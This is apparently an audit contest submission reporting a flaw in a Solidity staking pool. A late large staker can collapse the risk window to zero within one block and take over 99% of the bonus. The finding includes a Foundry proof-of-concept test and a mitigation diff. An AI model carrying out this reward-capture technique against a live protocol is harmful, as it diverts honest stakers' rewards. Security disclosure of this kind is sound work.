FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Late staker can seal a zero-length risk window and capture nearly all bonus

Author Revealed upon completion

Root + Impact

Description

The pool is intended to distribute the bonus using the k=2 time-weighted score:

score = amount * (T - entryTime)^2

However, deposits remain allowed in UNDER_ATTACK. A late staker can make the pool first observe UNDER_ATTACK during their large deposit, then permissionlessly call pokeRiskWindow() after the upstream Registry is instant-promoted to PRODUCTION in the same block.

Both boundaries are recorded from block.timestamp, so this produces:

riskWindowStart == riskWindowEnd

All k=2 scores become zero and the pool falls back to a purely amount-weighted split. A late whale can consequently capture nearly the entire bonus without bearing measurable at-risk time.

The Pool Moderator does not need to cooperate in the attack block. The attacker can permissionlessly seal riskWindowEnd, and a later Moderator resolution reuses the already-sealed zero-length window.

function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
if (
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION
|| state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
// @> UNDER_ATTACK is not blocked, so the late whale can stake.
}
function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
_observePoolState();
// @> Permissionless caller can seal riskWindowEnd.
}
if (globalScore == 0) {
if (snapshotTotalStaked == 0) return 0;
// @> Zero-duration stake receives amount-weighted bonus.
return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
}

Risk

Likelihood:

  • The upstream AttackRegistry.instantPromote() explicitly permits UNDER_ATTACK -> PRODUCTION.

  • Transactions in one block share the same block.timestamp.

  • An attacker can arrange their stake before a visible instantPromote transaction and call permissionless pokeRiskWindow() after it in the same block.

  • The Pool Moderator may flag SURVIVED later; same-block Moderator cooperation is unnecessary.

Impact:

  • The attacker can capture nearly all of the bonus pool instead of receiving a negligible k=2 share.

  • Honest stakers who were present before the risk window receive a disproportionately small bonus.

  • Principal is not directly stolen, but the protocol's intended time-weighted reward distribution is bypassed.

For example:

Honest stake: 100
Late stake: 10,000
Bonus: 100
Honest bonus: 100 / 10,100 * 100 ~= 0.990099
Late bonus: 10,000 / 10,100 * 100 ~= 99.009900

The late staker captures more than 99% of the bonus.

Proof of Concept

Add the following test to test/audit/ConfidencePoolSecurityRegression.t.sol:

function test_PoC_SameBlockFallbackLetsLateWhaleCaptureBonus() external {
uint256 honestStake = 100 * ONE;
uint256 whaleStake = 10_000 * ONE;
uint256 bonus = 100 * ONE;
_stake(alice, honestStake);
_contributeBonus(carol, bonus);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
// Late whale causes the pool to record riskWindowStart.
_stake(bob, whaleStake);
// Models the Registry Moderator calling instantPromote().
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.PRODUCTION
);
// Attacker permissionlessly seals the terminal observation
// in the same block.
vm.prank(bob);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), pool.riskWindowEnd());
// The Pool Moderator can resolve much later.
vm.warp(block.timestamp + 1 days);
vm.prank(moderator);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
assertEq(pool.riskWindowEnd(), pool.outcomeFlaggedAt());
assertLt(pool.outcomeFlaggedAt(), block.timestamp);
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 aliceBonus =
token.balanceOf(alice) - aliceBefore - honestStake;
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
uint256 bobBonus =
token.balanceOf(bob) - bobBefore - whaleStake;
assertEq(
bobBonus,
(whaleStake * bonus) / (honestStake + whaleStake)
);
assertGt(bobBonus, (bonus * 99) / 100);
assertLt(aliceBonus, bonus / 100);
}

Run:

forge test --match-test test_PoC_SameBlockFallbackLetsLateWhaleCaptureBonus -vvv

Result:

[PASS] test_PoC_SameBlockFallbackLetsLateWhaleCaptureBonus()
1 passed; 0 failed

Recommended Mitigation

Continue permitting UNDER_ATTACK deposits if desired, but separately account for stake added at or after riskWindowStart. When globalScore == 0, distribute the fallback bonus only among stake that existed before the first active-risk observation.

A possible implementation is:

+ mapping(address => uint256) public postRiskStake;
+ uint256 public totalPostRiskStake;
+ uint256 public snapshotTotalPostRiskStake;
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// Transfer token and calculate received...
eligibleStake[msg.sender] += received;
totalEligibleStake += received;
+ if (riskWindowStart != 0) {
+ postRiskStake[msg.sender] += received;
+ totalPostRiskStake += received;
+ }
}
function _bonusShare(address u, uint256 userEligible)
internal
view
returns (uint256)
{
// ...
if (globalScore == 0) {
- if (snapshotTotalStaked == 0) return 0;
- return Math.mulDiv(
- userEligible,
- snapshotTotalBonus,
- snapshotTotalStaked
- );
+ uint256 fallbackEligible =
+ snapshotTotalStaked - snapshotTotalPostRiskStake;
+ uint256 userFallbackEligible =
+ userEligible - postRiskStake[u];
+
+ if (fallbackEligible == 0 || userFallbackEligible == 0) {
+ return 0;
+ }
+
+ return Math.mulDiv(
+ userFallbackEligible,
+ snapshotTotalBonus,
+ fallbackEligible
+ );
}
}

The implementation must also decrement postRiskStake during pre-risk withdrawals and snapshot totalPostRiskStake at resolution.

The simpler alternative is to reject all new deposits once the Registry reaches UNDER_ATTACK.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!